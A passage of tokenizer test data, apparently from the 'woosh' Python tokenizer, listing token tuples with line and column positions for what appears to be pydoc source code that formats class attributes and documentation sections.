woosh.Token(woosh.NAME, 'for', 918, 16, 918, 19), woosh.Token(woosh.NAME, 'name', 918, 20, 918, 24), woosh.Token(woosh.OP, ',', 918, 24, 918, 25), woosh.Token(woosh.NAME, 'kind', 918, 26, 918, 30), woosh.Token(woosh.OP, ',', 918, 30, 918, 31), woosh.Token(woosh.NAME, 'homecls', 918, 32, 918, 39), woosh.Token(woosh.OP, ',', 918, 39, 918, 40), woosh.Token(woosh.NAME, 'value', 918, 41, 918, 46), woosh.Token(woosh.NAME, 'in', 918, 47, 918, 49), woosh.Token(woosh.NAME, 'ok', 918, 50, 918, 52), woosh.Token(woosh.OP, ':', 918, 52, 918, 53), woosh.Token(woosh.NEWLINE, '\r\n', 918, 53, 919, 0), woosh.Token(woosh.INDENT, ' ', 919, 0, 919, 20), woosh.Token(woosh.NAME, 'base', 919, 20, 919, 24), woosh.Token(woosh.OP, '=', 919, 25, 919, 26), woosh.Token(woosh.NAME, 'self', 919, 27, 919, 31), woosh.Token(woosh.OP, '.', 919, 31, 919, 32), woosh.Token(woosh.NAME, 'docother', 919, 32, 919, 40), woosh.Token(woosh.OP, '(', 919, 40, 919, 41), woosh.Token(woosh.NAME, 'getattr', 919, 41, 919, 48), woosh.Token(woosh.OP, '(', 919, 48, 919, 49), woosh.Token(woosh.NAME, 'object', 919, 49, 919, 55), woosh.Token(woosh.OP, ',', 919, 55, 919, 56), woosh.Token(woosh.NAME, 'name', 919, 57, 919, 61), woosh.Token(woosh.OP, ')', 919, 61, 919, 62), woosh.Token(woosh.OP, ',', 919, 62, 919, 63), woosh.Token(woosh.NAME, 'name', 919, 64, 919, 68), woosh.Token(woosh.OP, ',', 919, 68, 919, 69), woosh.Token(woosh.NAME, 'mod', 919, 70, 919, 73), woosh.Token(woosh.OP, ')', 919, 73, 919, 74), woosh.Token(woosh.NEWLINE, '\r\n', 919, 74, 920, 0), woosh.Token(woosh.NAME, 'doc', 920, 20, 920, 23), woosh.Token(woosh.OP, '=', 920, 24, 920, 25), woosh.Token(woosh.NAME, 'getdoc', 920, 26, 920, 32), woosh.Token(woosh.OP, '(', 920, 32, 920, 33), woosh.Token(woosh.NAME, 'value', 920, 33, 920, 38), woosh.Token(woosh.OP, ')', 920, 38, 920, 39), woosh.Token(woosh.NEWLINE, '\r\n', 920, 39, 921, 0), woosh.Token(woosh.NAME, 'if', 921, 20, 921, 22), woosh.Token(woosh.NAME, 'not', 921, 23, 921, 26), woosh.Token(woosh.NAME, 'doc', 921, 27, 921, 30), woosh.Token(woosh.OP, ':', 921, 30, 921, 31), woosh.Token(woosh.NEWLINE, '\r\n', 921, 31, 922, 0), woosh.Token(woosh.INDENT, ' ', 922, 0, 922, 24), woosh.Token(woosh.NAME, 'push', 922, 24, 922, 28), woosh.Token(woosh.OP, '(', 922, 28, 922, 29), woosh.Token(woosh.STRING, "'<dl><dt>%s</dl>\\n'", 922, 29, 922, 48), woosh.Token(woosh.OP, '%', 922, 49, 922, 50), woosh.Token(woosh.NAME, 'base', 922, 51, 922, 55), woosh.Token(woosh.OP, ')', 922, 55, 922, 56), woosh.Token(woosh.NEWLINE, '\r\n', 922, 56, 923, 0), woosh.Token(woosh.DEDENT, ' ', 923, 0, 923, 20), woosh.Token(woosh.NAME, 'else', 923, 20, 923, 24), woosh.Token(woosh.OP, ':', 923, 24, 923, 25), woosh.Token(woosh.NEWLINE, '\r\n', 923, 25, 924, 0), woosh.Token(woosh.INDENT, ' ', 924, 0, 924, 24), woosh.Token(woosh.NAME, 'doc', 924, 24, 924, 27), woosh.Token(woosh.OP, '=', 924, 28, 924, 29), woosh.Token(woosh.NAME, 'self', 924, 30, 924, 34), woosh.Token(woosh.OP, '.', 924, 34, 924, 35), woosh.Token(woosh.NAME, 'markup', 924, 35, 924, 41), woosh.Token(woosh.OP, '(', 924, 41, 924, 42), woosh.Token(woosh.NAME, 'getdoc', 924, 42, 924, 48), woosh.Token(woosh.OP, '(', 924, 48, 924, 49), woosh.Token(woosh.NAME, 'value', 924, 49, 924, 54), woosh.Token(woosh.OP, ')', 924, 54, 924, 55), woosh.Token(woosh.OP, ',', 924, 55, 924, 56), woosh.Token(woosh.NAME, 'self', 924, 57, 924, 61), woosh.Token(woosh.OP, '.', 924, 61, 924, 62), woosh.Token(woosh.NAME, 'preformat', 924, 62, 924, 71), woosh.Token(woosh.OP, ',', 924, 71, 924, 72), woosh.Token(woosh.NAME, 'funcs', 925, 42, 925, 47), woosh.Token(woosh.OP, ',', 925, 47, 925, 48), woosh.Token(woosh.NAME, 'classes', 925, 49, 925, 56), woosh.Token(woosh.OP, ',', 925, 56, 925, 57), woosh.Token(woosh.NAME, 'mdict', 925, 58, 925, 63), woosh.Token(woosh.OP, ')', 925, 63, 925, 64), woosh.Token(woosh.NEWLINE, '\r\n', 925, 64, 926, 0), woosh.Token(woosh.NAME, 'doc', 926, 24, 926, 27), woosh.Token(woosh.OP, '=', 926, 28, 926, 29), woosh.Token(woosh.STRING, "'<dd><tt>%s</tt>'", 926, 30, 926, 47), woosh.Token(woosh.OP, '%', 926, 48, 926, 49), woosh.Token(woosh.NAME, 'doc', 926, 50, 926, 53), woosh.Token(woosh.NEWLINE, '\r\n', 926, 53, 927, 0), woosh.Token(woosh.NAME, 'push', 927, 24, 927, 28), woosh.Token(woosh.OP, '(', 927, 28, 927, 29), woosh.Token(woosh.STRING, "'<dl><dt>%s%s</dl>\\n'", 927, 29, 927, 50), woosh.Token(woosh.OP, '%', 927, 51, 927, 52), woosh.Token(woosh.OP, '(', 927, 53, 927, 54), woosh.Token(woosh.NAME, 'base', 927, 54, 927, 58), woosh.Token(woosh.OP, ',', 927, 58, 927, 59), woosh.Token(woosh.NAME, 'doc', 927, 60, 927, 63), woosh.Token(woosh.OP, ')', 927, 63, 927, 64), woosh.Token(woosh.OP, ')', 927, 64, 927, 65), woosh.Token(woosh.NEWLINE, '\r\n', 927, 65, 928, 0), woosh.Token(woosh.DEDENT, ' ', 928, 0, 928, 20), woosh.Token(woosh.NAME, 'push', 928, 20, 928, 24), woosh.Token(woosh.OP, '(', 928, 24, 928, 25), woosh.Token(woosh.STRING, "'\\n'", 928, 25, 928, 29), woosh.Token(woosh.OP, ')', 928, 29, 928, 30), woosh.Token(woosh.NEWLINE, '\r\n', 928, 30, 929, 0), woosh.Token(woosh.DEDENT, ' ', 929, 0, 929, 12), woosh.Token(woosh.DEDENT, '', 929, 12, 929, 12), woosh.Token(woosh.NAME, 'return', 929, 12, 929, 18), woosh.Token(woosh.NAME, 'attrs', 929, 19, 929, 24), woosh.Token(woosh.NEWLINE, '\r\n', 929, 24, 930, 0), woosh.Token(woosh.DEDENT, ' ', 931, 0, 931, 8), woosh.Token(woosh.NAME, 'attrs', 931, 8, 931, 13), woosh.Token(woosh.OP, '=', 931, 14, 931, 15), woosh.Token(woosh.OP, '[', 931, 16, 931, 17), woosh.Token(woosh.OP, '(', 931, 17, 931, 18), woosh.Token(woosh.NAME, 'name', 931, 18, 931, 22), woosh.Token(woosh.OP, ',', 931, 22, 931, 23), woosh.Token(woosh.NAME, 'kind', 931, 24, 931, 28), woosh.Token(woosh.OP, ',', 931, 28, 931, 29), woosh.Token(woosh.NAME, 'cls', 931, 30, 931, 33), woosh.Token(woosh.OP, ',', 931, 33, 931, 34), woosh.Token(woosh.NAME, 'value', 931, 35, 931, 40), woosh.Token(woosh.OP, ')', 931, 40, 931, 41), woosh.Token(woosh.NAME, 'for', 932, 17, 932, 20), woosh.Token(woosh.NAME, 'name', 932, 21, 932, 25), woosh.Token(woosh.OP, ',', 932, 25, 932, 26), woosh.Token(woosh.NAME, 'kind', 932, 27, 932, 31), woosh.Token(woosh.OP, ',', 932, 31, 932, 32), woosh.Token(woosh.NAME, 'cls', 932, 33, 932, 36), woosh.Token(woosh.OP, ',', 932, 36, 932, 37), woosh.Token(woosh.NAME, 'value', 932, 38, 932, 43), woosh.Token(woosh.NAME, 'in', 932, 44, 932, 46), woosh.Token(woosh.NAME, 'classify_class_attrs', 932, 47, 932, 67), woosh.Token(woosh.OP, '(', 932, 67, 932, 68), woosh.Token(woosh.NAME, 'object', 932, 68, 932, 74), woosh.Token(woosh.OP, ')', 932, 74, 932, 75), woosh.Token(woosh.NAME, 'if', 933, 17, 933, 19), woosh.Token(woosh.NAME, 'visiblename', 933, 20, 933, 31), woosh.Token(woosh.OP, '(', 933, 31, 933, 32), woosh.Token(woosh.NAME, 'name', 933, 32, 933, 36), woosh.Token(woosh.OP, ',', 933, 36, 933, 37), woosh.Token(woosh.NAME, 'obj', 933, 38, 933, 41), woosh.Token(woosh.OP, '=', 933, 41, 933, 42), woosh.Token(woosh.NAME, 'object', 933, 42, 933, 48), woosh.Token(woosh.OP, ')', 933, 48, 933, 49), woosh.Token(woosh.OP, ']', 933, 49, 933, 50), woosh.Token(woosh.NEWLINE, '\r\n', 933, 50, 934, 0), woosh.Token(woosh.NAME, 'mdict', 935, 8, 935, 13), woosh.Token(woosh.OP, '=', 935, 14, 935, 15), woosh.Token(woosh.OP, '{', 935, 16, 935, 17), woosh.Token(woosh.OP, '}', 935, 17, 935, 18), woosh.Token(woosh.NEWLINE, '\r\n', 935, 18, 936, 0), woosh.Token(woosh.NAME, 'for', 936, 8, 936, 11), woosh.Token(woosh.NAME, 'key', 936, 12, 936, 15), woosh.Token(woosh.OP, ',', 936, 15, 936, 16), woosh.Token(woosh.NAME, 'kind', 936, 17, 936, 21), woosh.Token(woosh.OP, ',', 936, 21, 936, 22), woosh.Token(woosh.NAME, 'homecls', 936, 23, 936, 30), woosh.Token(woosh.OP, ',', 936, 30, 936, 31), woosh.Token(woosh.NAME, 'value', 936, 32, 936, 37), woosh.Token(woosh.NAME, 'in', 936, 38, 936, 40), woosh.Token(woosh.NAME, 'attrs', 936, 41, 936, 46), woosh.Token(woosh.OP, ':', 936, 46, 936, 47), woosh.Token(woosh.NEWLINE, '\r\n', 936, 47, 937, 0), woosh.Token(woosh.INDENT, ' ', 937, 0, 937, 12), woosh.Token(woosh.NAME, 'mdict', 937, 12, 937, 17), woosh.Token(woosh.OP, '[', 937, 17, 937, 18), woosh.Token(woosh.NAME, 'key', 937, 18, 937, 21), woosh.Token(woosh.OP, ']', 937, 21, 937, 22), woosh.Token(woosh.OP, '=', 937, 23, 937, 24), woosh.Token(woosh.NAME, 'anchor', 937, 25, 937, 31), woosh.Token(woosh.OP, '=', 937, 32, 937, 33), woosh.Token(woosh.STRING, "'#'", 937, 34, 937, 37), woosh.Token(woosh.OP, '+', 937, 38, 937, 39), woosh.Token(woosh.NAME, 'name', 937, 40, 937, 44), woosh.Token(woosh.OP, '+', 937, 45, 937, 46), woosh.Token(woosh.STRING, "'-'", 937, 47, 937, 50), woosh.Token(woosh.OP, '+', 937, 51, 937, 52), woosh.Token(woosh.NAME, 'key', 937, 53, 937, 56), woosh.Token(woosh.NEWLINE, '\r\n', 937, 56, 938, 0), woosh.Token(woosh.NAME, 'try', 938, 12, 938, 15), woosh.Token(woosh.OP, ':', 938, 15, 938, 16), woosh.Token(woosh.NEWLINE, '\r\n', 938, 16, 939, 0), woosh.Token(woosh.INDENT, ' ', 939, 0, 939, 16), woosh.Token(woosh.NAME, 'value', 939, 16, 939, 21), woosh.Token(woosh.OP, '=', 939, 22, 939, 23), woosh.Token(woosh.NAME, 'getattr', 939, 24, 939, 31), woosh.Token(woosh.OP, '(', 939, 31, 939, 32), woosh.Token(woosh.NAME, 'object', 939, 32, 939, 38), woosh.Token(woosh.OP, ',', 939, 38, 939, 39), woosh.Token(woosh.NAME, 'name', 939, 40, 939, 44), woosh.Token(woosh.OP, ')', 939, 44, 939, 45), woosh.Token(woosh.NEWLINE, '\r\n', 939, 45, 940, 0), woosh.Token(woosh.DEDENT, ' ', 940, 0, 940, 12), woosh.Token(woosh.NAME, 'except', 940, 12, 940, 18), woosh.Token(woosh.NAME, 'Exception', 940, 19, 940, 28), woosh.Token(woosh.OP, ':', 940, 28, 940, 29), woosh.Token(woosh.NEWLINE, '\r\n', 940, 29, 941, 0), woosh.Token(woosh.COMMENT, '# Some descriptors may meet a failure in their __get__.', 941, 16, 941, 71), woosh.Token(woosh.COMMENT, '# (bug #1785)', 942, 16, 942, 29), woosh.Token(woosh.INDENT, ' ', 943, 0, 943, 16), woosh.Token(woosh.NAME, 'pass', 943, 16, 943, 20), woosh.Token(woosh.NEWLINE, '\r\n', 943, 20, 944, 0), woosh.Token(woosh.DEDENT, ' ', 944, 0, 944, 12), woosh.Token(woosh.NAME, 'try', 944, 12, 944, 15), woosh.Token(woosh.OP, ':', 944, 15, 944, 16), woosh.Token(woosh.NEWLINE, '\r\n', 944, 16, 945, 0), woosh.Token(woosh.COMMENT, '# The value may not be hashable (e.g., a data attr with', 945, 16, 945, 71), woosh.Token(woosh.COMMENT, '# a dict or list value).', 946, 16, 946, 40), woosh.Token(woosh.INDENT, ' ', 947, 0, 947, 16), woosh.Token(woosh.NAME, 'mdict', 947, 16, 947, 21), woosh.Token(woosh.OP, '[', 947, 21, 947, 22), woosh.Token(woosh.NAME, 'value', 947, 22, 947, 27), woosh.Token(woosh.OP, ']', 947, 27, 947, 28), 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woosh.Token(woosh.STRING, '"Built-in subclasses:"', 1350, 17, 1350, 39), woosh.Token(woosh.OP, ')', 1350, 39, 1350, 40), woosh.Token(woosh.NEWLINE, '\r\n', 1350, 40, 1351, 0), woosh.Token(woosh.NAME, 'for', 1351, 12, 1351, 15), woosh.Token(woosh.NAME, 'subclassname', 1351, 16, 1351, 28), woosh.Token(woosh.NAME, 'in', 1351, 29, 1351, 31), woosh.Token(woosh.NAME, 'subclasses', 1351, 32, 1351, 42), woosh.Token(woosh.OP, '[', 1351, 42, 1351, 43), woosh.Token(woosh.OP, ':', 1351, 43, 1351, 44), woosh.Token(woosh.NAME, 'MAX_SUBCLASSES_TO_DISPLAY', 1351, 44, 1351, 69), woosh.Token(woosh.OP, ']', 1351, 69, 1351, 70), woosh.Token(woosh.OP, ':', 1351, 70, 1351, 71), woosh.Token(woosh.NEWLINE, '\r\n', 1351, 71, 1352, 0), woosh.Token(woosh.INDENT, ' ', 1352, 0, 1352, 16), woosh.Token(woosh.NAME, 'push', 1352, 16, 1352, 20), woosh.Token(woosh.OP, '(', 1352, 20, 1352, 21), woosh.Token(woosh.STRING, "' '", 1352, 21, 1352, 27), woosh.Token(woosh.OP, '+', 1352, 28, 1352, 29), woosh.Token(woosh.NAME, 'subclassname', 1352, 30, 1352, 42), woosh.Token(woosh.OP, ')', 1352, 42, 1352, 43), woosh.Token(woosh.NEWLINE, '\r\n', 1352, 43, 1353, 0), woosh.Token(woosh.DEDENT, ' ', 1353, 0, 1353, 12), woosh.Token(woosh.NAME, 'if', 1353, 12, 1353, 14), woosh.Token(woosh.NAME, 'no_of_subclasses', 1353, 15, 1353, 31), woosh.Token(woosh.OP, '>', 1353, 32, 1353, 33), woosh.Token(woosh.NAME, 'MAX_SUBCLASSES_TO_DISPLAY', 1353, 34, 1353, 59), woosh.Token(woosh.OP, ':', 1353, 59, 1353, 60), woosh.Token(woosh.NEWLINE, '\r\n', 1353, 60, 1354, 0), woosh.Token(woosh.INDENT, ' ', 1354, 0, 1354, 16), woosh.Token(woosh.NAME, 'push', 1354, 16, 1354, 20), woosh.Token(woosh.OP, '(', 1354, 20, 1354, 21), woosh.Token(woosh.STRING, "' ... and '", 1354, 21, 1354, 35), woosh.Token(woosh.OP, '+', 1354, 36, 1354, 37), woosh.Token(woosh.NAME, 'str', 1355, 21, 1355, 24), woosh.Token(woosh.OP, '(', 1355, 24, 1355, 25), woosh.Token(woosh.NAME, 'no_of_subclasses', 1355, 25, 1355, 41), woosh.Token(woosh.OP, '-', 1355, 42, 1355, 43), woosh.Token(woosh.NAME, 'MAX_SUBCLASSES_TO_DISPLAY', 1355, 44, 1355, 69), woosh.Token(woosh.OP, ')', 1355, 69, 1355, 70), woosh.Token(woosh.OP, '+', 1355, 71, 1355, 72), woosh.Token(woosh.STRING, "' other subclasses'", 1356, 21, 1356, 40), woosh.Token(woosh.OP, ')', 1356, 40, 1356, 41), woosh.Token(woosh.NEWLINE, '\r\n', 1356, 41, 1357, 0), woosh.Token(woosh.DEDENT, ' ', 1357, 0, 1357, 12), woosh.Token(woosh.NAME, 'push', 1357, 12, 1357, 16), woosh.Token(woosh.OP, '(', 1357, 16, 1357, 17), woosh.Token(woosh.STRING, "''", 1357, 17, 1357, 19), woosh.Token(woosh.OP, ')', 1357, 19, 1357, 20), woosh.Token(woosh.NEWLINE, '\r\n', 1357, 20, 1358, 0), woosh.Token(woosh.COMMENT, '# Cute little class to pump out a horizontal rule between sections.', 1359, 8, 1359, 75), woosh.Token(woosh.DEDENT, ' ', 1360, 0, 1360, 8), woosh.Token(woosh.NAME, 'class', 1360, 8, 1360, 13), woosh.Token(woosh.NAME, 'HorizontalRule', 1360, 14, 1360, 28), woosh.Token(woosh.OP, ':', 1360, 28, 1360, 29), woosh.Token(woosh.NEWLINE, '\r\n', 1360, 29, 1361, 0), woosh.Token(woosh.INDENT, ' ', 1361, 0, 1361, 12), woosh.Token(woosh.NAME, 'def', 1361, 12, 1361, 15), woosh.Token(woosh.NAME, '__init__', 1361, 16, 1361, 24), woosh.Token(woosh.OP, '(', 1361, 24, 1361, 25), woosh.Token(woosh.NAME, 'self', 1361, 25, 1361, 29), woosh.Token(woosh.OP, ')', 1361, 29, 1361, 30), woosh.Token(woosh.OP, ':', 1361, 30, 1361, 31), woosh.Token(woosh.NEWLINE, '\r\n', 1361, 31, 1362, 0), woosh.Token(woosh.INDENT, ' ', 1362, 0, 1362, 16), woosh.Token(woosh.NAME, 'self', 1362, 16, 1362, 20), woosh.Token(woosh.OP, '.', 1362, 20, 1362, 21), woosh.Token(woosh.NAME, 'needone', 1362, 21, 1362, 28), woosh.Token(woosh.OP, '=', 1362, 29, 1362, 30), woosh.Token(woosh.NUMBER, '0', 1362, 31, 1362, 32), woosh.Token(woosh.NEWLINE, '\r\n', 1362, 32, 1363, 0), woosh.Token(woosh.DEDENT, ' ', 1363, 0, 1363, 12), woosh.Token(woosh.NAME, 'def', 1363, 12, 1363, 15), woosh.Token(woosh.NAME, 'maybe', 1363, 16, 1363, 21), woosh.Token(woosh.OP, '(', 1363, 21, 1363, 22), woosh.Token(woosh.NAME, 'self', 1363, 22, 1363, 26), woosh.Token(woosh.OP, ')', 1363, 26, 1363, 27), woosh.Token(woosh.OP, ':', 1363, 27, 1363, 28), woosh.Token(woosh.NEWLINE, '\r\n', 1363, 28, 1364, 0), woosh.Token(woosh.INDENT, ' ', 1364, 0, 1364, 16), woosh.Token(woosh.NAME, 'if', 1364, 16, 1364, 18), woosh.Token(woosh.NAME, 'self', 1364, 19, 1364, 23), woosh.Token(woosh.OP, '.', 1364, 23, 1364, 24), woosh.Token(woosh.NAME, 'needone', 1364, 24, 1364, 31), woosh.Token(woosh.OP, ':', 1364, 31, 1364, 32), woosh.Token(woosh.NEWLINE, '\r\n', 1364, 32, 1365, 0), woosh.Token(woosh.INDENT, ' ', 1365, 0, 1365, 20), woosh.Token(woosh.NAME, 'push', 1365, 20, 1365, 24), woosh.Token(woosh.OP, '(', 1365, 24, 1365, 25), woosh.Token(woosh.STRING, "'-'", 1365, 25, 1365, 28), woosh.Token(woosh.OP, '*', 1365, 29, 1365, 30), woosh.Token(woosh.NUMBER, '70', 1365, 31, 1365, 33), woosh.Token(woosh.OP, ')', 1365, 33, 1365, 34), woosh.Token(woosh.NEWLINE, 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woosh.Token(woosh.NAME, 'if', 1371, 12, 1371, 14), woosh.Token(woosh.NAME, 'ok', 1371, 15, 1371, 17), woosh.Token(woosh.OP, ':', 1371, 17, 1371, 18), woosh.Token(woosh.NEWLINE, '\r\n', 1371, 18, 1372, 0), woosh.Token(woosh.INDENT, ' ', 1372, 0, 1372, 16), woosh.Token(woosh.NAME, 'hr', 1372, 16, 1372, 18), woosh.Token(woosh.OP, '.', 1372, 18, 1372, 19), woosh.Token(woosh.NAME, 'maybe', 1372, 19, 1372, 24), woosh.Token(woosh.OP, '(', 1372, 24, 1372, 25), woosh.Token(woosh.OP, ')', 1372, 25, 1372, 26), woosh.Token(woosh.NEWLINE, '\r\n', 1372, 26, 1373, 0), woosh.Token(woosh.NAME, 'push', 1373, 16, 1373, 20), woosh.Token(woosh.OP, '(', 1373, 20, 1373, 21), woosh.Token(woosh.NAME, 'msg', 1373, 21, 1373, 24), woosh.Token(woosh.OP, ')', 1373, 24, 1373, 25), woosh.Token(woosh.NEWLINE, '\r\n', 1373, 25, 1374, 0), woosh.Token(woosh.NAME, 'for', 1374, 16, 1374, 19), woosh.Token(woosh.NAME, 'name', 1374, 20, 1374, 24), woosh.Token(woosh.OP, ',', 1374, 24, 1374, 25), woosh.Token(woosh.NAME, 'kind', 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woosh.Token(woosh.NAME, 'name', 1376, 48, 1376, 52), woosh.Token(woosh.OP, ')', 1376, 52, 1376, 53), woosh.Token(woosh.NEWLINE, '\r\n', 1376, 53, 1377, 0), woosh.Token(woosh.DEDENT, ' ', 1377, 0, 1377, 20), woosh.Token(woosh.NAME, 'except', 1377, 20, 1377, 26), woosh.Token(woosh.NAME, 'Exception', 1377, 27, 1377, 36), woosh.Token(woosh.OP, ':', 1377, 36, 1377, 37), woosh.Token(woosh.NEWLINE, '\r\n', 1377, 37, 1378, 0), woosh.Token(woosh.COMMENT, '# Some descriptors may meet a failure in their __get__.', 1378, 24, 1378, 79), woosh.Token(woosh.COMMENT, '# (bug #1785)', 1379, 24, 1379, 37), woosh.Token(woosh.INDENT, ' ', 1380, 0, 1380, 24), woosh.Token(woosh.NAME, 'push', 1380, 24, 1380, 28), woosh.Token(woosh.OP, '(', 1380, 28, 1380, 29), woosh.Token(woosh.NAME, 'self', 1380, 29, 1380, 33), woosh.Token(woosh.OP, '.', 1380, 33, 1380, 34), woosh.Token(woosh.NAME, 'docdata', 1380, 34, 1380, 41), woosh.Token(woosh.OP, '(', 1380, 41, 1380, 42), woosh.Token(woosh.NAME, 'value', 1380, 42, 1380, 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29, 1386, 32), woosh.Token(woosh.OP, ',', 1386, 32, 1386, 33), woosh.Token(woosh.NAME, 'attrs', 1386, 34, 1386, 39), woosh.Token(woosh.OP, ',', 1386, 39, 1386, 40), woosh.Token(woosh.NAME, 'predicate', 1386, 41, 1386, 50), woosh.Token(woosh.OP, ')', 1386, 50, 1386, 51), woosh.Token(woosh.OP, ':', 1386, 51, 1386, 52), woosh.Token(woosh.NEWLINE, '\r\n', 1386, 52, 1387, 0), woosh.Token(woosh.INDENT, ' ', 1387, 0, 1387, 12), woosh.Token(woosh.NAME, 'ok', 1387, 12, 1387, 14), woosh.Token(woosh.OP, ',', 1387, 14, 1387, 15), woosh.Token(woosh.NAME, 'attrs', 1387, 16, 1387, 21), woosh.Token(woosh.OP, '=', 1387, 22, 1387, 23), woosh.Token(woosh.NAME, '_split_list', 1387, 24, 1387, 35), woosh.Token(woosh.OP, '(', 1387, 35, 1387, 36), woosh.Token(woosh.NAME, 'attrs', 1387, 36, 1387, 41), woosh.Token(woosh.OP, ',', 1387, 41, 1387, 42), woosh.Token(woosh.NAME, 'predicate', 1387, 43, 1387, 52), woosh.Token(woosh.OP, ')', 1387, 52, 1387, 53), woosh.Token(woosh.NEWLINE, '\r\n', 1387, 53, 1388, 0), woosh.Token(woosh.NAME, 'if', 1388, 12, 1388, 14), woosh.Token(woosh.NAME, 'ok', 1388, 15, 1388, 17), woosh.Token(woosh.OP, ':', 1388, 17, 1388, 18), woosh.Token(woosh.NEWLINE, '\r\n', 1388, 18, 1389, 0), woosh.Token(woosh.INDENT, ' ', 1389, 0, 1389, 16), woosh.Token(woosh.NAME, 'hr', 1389, 16, 1389, 18), woosh.Token(woosh.OP, '.', 1389, 18, 1389, 19), woosh.Token(woosh.NAME, 'maybe', 1389, 19, 1389, 24), woosh.Token(woosh.OP, '(', 1389, 24, 1389, 25), woosh.Token(woosh.OP, ')', 1389, 25, 1389, 26), woosh.Token(woosh.NEWLINE, '\r\n', 1389, 26, 1390, 0), woosh.Token(woosh.NAME, 'push', 1390, 16, 1390, 20), woosh.Token(woosh.OP, '(', 1390, 20, 1390, 21), woosh.Token(woosh.NAME, 'msg', 1390, 21, 1390, 24), woosh.Token(woosh.OP, ')', 1390, 24, 1390, 25), woosh.Token(woosh.NEWLINE, '\r\n', 1390, 25, 1391, 0), woosh.Token(woosh.NAME, 'for', 1391, 16, 1391, 19), woosh.Token(woosh.NAME, 'name', 1391, 20, 1391, 24), woosh.Token(woosh.OP, ',', 1391, 24, 1391, 25), woosh.Token(woosh.NAME, 'kind', 1391, 26, 1391, 30), woosh.Token(woosh.OP, ',', 1391, 30, 1391, 31), woosh.Token(woosh.NAME, 'homecls', 1391, 32, 1391, 39), woosh.Token(woosh.OP, ',', 1391, 39, 1391, 40), woosh.Token(woosh.NAME, 'value', 1391, 41, 1391, 46), woosh.Token(woosh.NAME, 'in', 1391, 47, 1391, 49), woosh.Token(woosh.NAME, 'ok', 1391, 50, 1391, 52), woosh.Token(woosh.OP, ':', 1391, 52, 1391, 53), woosh.Token(woosh.NEWLINE, '\r\n', 1391, 53, 1392, 0), woosh.Token(woosh.INDENT, ' ', 1392, 0, 1392, 20), woosh.Token(woosh.NAME, 'push', 1392, 20, 1392, 24), woosh.Token(woosh.OP, '(', 1392, 24, 1392, 25), woosh.Token(woosh.NAME, 'self', 1392, 25, 1392, 29), woosh.Token(woosh.OP, '.', 1392, 29, 1392, 30), woosh.Token(woosh.NAME, 'docdata', 1392, 30, 1392, 37), woosh.Token(woosh.OP, '(', 1392, 37, 1392, 38), woosh.Token(woosh.NAME, 'value', 1392, 38, 1392, 43), woosh.Token(woosh.OP, ',', 1392, 43, 1392, 44), woosh.Token(woosh.NAME, 'name', 1392, 45, 1392, 49), woosh.Token(woosh.OP, ',', 1392, 49, 1392, 50), woosh.Token(woosh.NAME, 'mod', 1392, 51, 1392, 54), woosh.Token(woosh.OP, ')', 1392, 54, 1392, 55), woosh.Token(woosh.OP, ')', 1392, 55, 1392, 56), woosh.Token(woosh.NEWLINE, '\r\n', 1392, 56, 1393, 0), woosh.Token(woosh.DEDENT, ' ', 1393, 0, 1393, 12), woosh.Token(woosh.DEDENT, '', 1393, 12, 1393, 12), woosh.Token(woosh.NAME, 'return', 1393, 12, 1393, 18), woosh.Token(woosh.NAME, 'attrs', 1393, 19, 1393, 24), woosh.Token(woosh.NEWLINE, '\r\n', 1393, 24, 1394, 0), woosh.Token(woosh.DEDENT, ' ', 1395, 0, 1395, 8), woosh.Token(woosh.NAME, 'def', 1395, 8, 1395, 11), woosh.Token(woosh.NAME, 'spilldata', 1395, 12, 1395, 21), woosh.Token(woosh.OP, '(', 1395, 21, 1395, 22), woosh.Token(woosh.NAME, 'msg', 1395, 22, 1395, 25), woosh.Token(woosh.OP, ',', 1395, 25, 1395, 26), woosh.Token(woosh.NAME, 'attrs', 1395, 27, 1395, 32), woosh.Token(woosh.OP, ',', 1395, 32, 1395, 33), woosh.Token(woosh.NAME, 'predicate', 1395, 34, 1395, 43), woosh.Token(woosh.OP, ')', 1395, 43, 1395, 44), woosh.Token(woosh.OP, ':', 1395, 44, 1395, 45), woosh.Token(woosh.NEWLINE, '\r\n', 1395, 45, 1396, 0), woosh.Token(woosh.INDENT, ' ', 1396, 0, 1396, 12), woosh.Token(woosh.NAME, 'ok', 1396, 12, 1396, 14), woosh.Token(woosh.OP, ',', 1396, 14, 1396, 15), woosh.Token(woosh.NAME, 'attrs', 1396, 16, 1396, 21), woosh.Token(woosh.OP, '=', 1396, 22, 1396, 23), woosh.Token(woosh.NAME, '_split_list', 1396, 24, 1396, 35), woosh.Token(woosh.OP, '(', 1396, 35, 1396, 36), woosh.Token(woosh.NAME, 'attrs', 1396, 36, 1396, 41), woosh.Token(woosh.OP, ',', 1396, 41, 1396, 42), woosh.Token(woosh.NAME, 'predicate', 1396, 43, 1396, 52), woosh.Token(woosh.OP, ')', 1396, 52, 1396, 53), woosh.Token(woosh.NEWLINE, '\r\n', 1396, 53, 1397, 0), woosh.Token(woosh.NAME, 'if', 1397, 12, 1397, 14), woosh.Token(woosh.NAME, 'ok', 1397, 15, 1397, 17), woosh.Token(woosh.OP, ':', 1397, 17, 1397, 18), woosh.Token(woosh.NEWLINE, '\r\n', 1397, 18, 1398, 0), woosh.Token(woosh.INDENT, ' ', 1398, 0, 1398, 16), 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woosh.Token(woosh.NEWLINE, '\r\n', 1405, 52, 1406, 0), woosh.Token(woosh.DEDENT, ' ', 1406, 0, 1406, 20), woosh.Token(woosh.NAME, 'push', 1406, 20, 1406, 24), woosh.Token(woosh.OP, '(', 1406, 24, 1406, 25), woosh.Token(woosh.NAME, 'self', 1406, 25, 1406, 29), woosh.Token(woosh.OP, '.', 1406, 29, 1406, 30), woosh.Token(woosh.NAME, 'docother', 1406, 30, 1406, 38), woosh.Token(woosh.OP, '(', 1406, 38, 1406, 39), woosh.Token(woosh.NAME, 'obj', 1406, 39, 1406, 42), woosh.Token(woosh.OP, ',', 1406, 42, 1406, 43), woosh.Token(woosh.NAME, 'name', 1406, 44, 1406, 48), woosh.Token(woosh.OP, ',', 1406, 48, 1406, 49), woosh.Token(woosh.NAME, 'mod', 1406, 50, 1406, 53), woosh.Token(woosh.OP, ',', 1406, 53, 1406, 54), woosh.Token(woosh.NAME, 'maxlen', 1406, 55, 1406, 61), woosh.Token(woosh.OP, '=', 1406, 61, 1406, 62), woosh.Token(woosh.NUMBER, '70', 1406, 62, 1406, 64), woosh.Token(woosh.OP, ',', 1406, 64, 1406, 65), woosh.Token(woosh.NAME, 'doc', 1406, 66, 1406, 69), woosh.Token(woosh.OP, '=', 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woosh.Token(woosh.OP, ',', 1410, 